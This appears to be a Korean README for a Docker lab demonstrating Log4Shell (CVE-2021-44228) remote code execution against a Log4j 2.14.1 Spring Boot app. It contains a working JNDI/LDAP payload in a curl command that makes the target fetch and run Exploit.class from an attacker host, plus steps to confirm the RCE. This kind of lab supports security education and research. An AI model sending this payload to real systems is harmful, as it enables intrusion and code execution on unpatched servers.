Log4Shell 취약점 (CVE-2021-44228) 데모

이 프로젝트는 Apache Log4j 2 라이브러리의 Log4Shell 취약점을 통한 RCE 공격 시나리오를 시뮬레이션합니다.

구성 요소

1. vulnerable-app: Log4j 2.14.1을 사용하는 Spring Boot 애플리케이션.
2. attacker: 악성 LDAP 서버(marshalsec)와 악성 코드 파일 Exploit.class를 제공하는 HTTP 서버를 포함합니다.

실행 방법

1. 환경 시작

Docker와 Docker Compose가 설치되어 있어야 합니다.

docker compose up --build

두 컨테이너가 모두 준비될 때까지 기다립니다. vulnerable-app은 포트 8080에서 실행됩니다.

2. 공격 실행

새 터미널을 열고 X-Api-Version 헤더를 통해 JNDI 페이로드가 포함된 요청을 전송합니다:

curl -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost:8080/

3. 결과 확인

• vulnerable-app 컨테이너의 로그를 확인합니다. 페이로드가 기록된 메시지를 볼 수 있습니다.
• attacker 컨테이너의 로그를 확인합니다. LDAP 연결이 HTTP 서버로 리디렉션되는 것을 볼 수 있습니다.
• RCE 확인: vulnerable-app 컨테이너 내부에 /tmp/pwned 파일이 생성되었는지 확인합니다:

docker exec -it vulnerable-app ls -la /tmp/pwned

파일이 존재하면 악성 코드 Exploit.class가 성공적으로 실행되었음을 의미합니다!

경고

이 프로젝트는 교육 및 보안 연구 목적으로만 사용됩니다. 불법적인 목적으로 절대 사용하지 마십시오.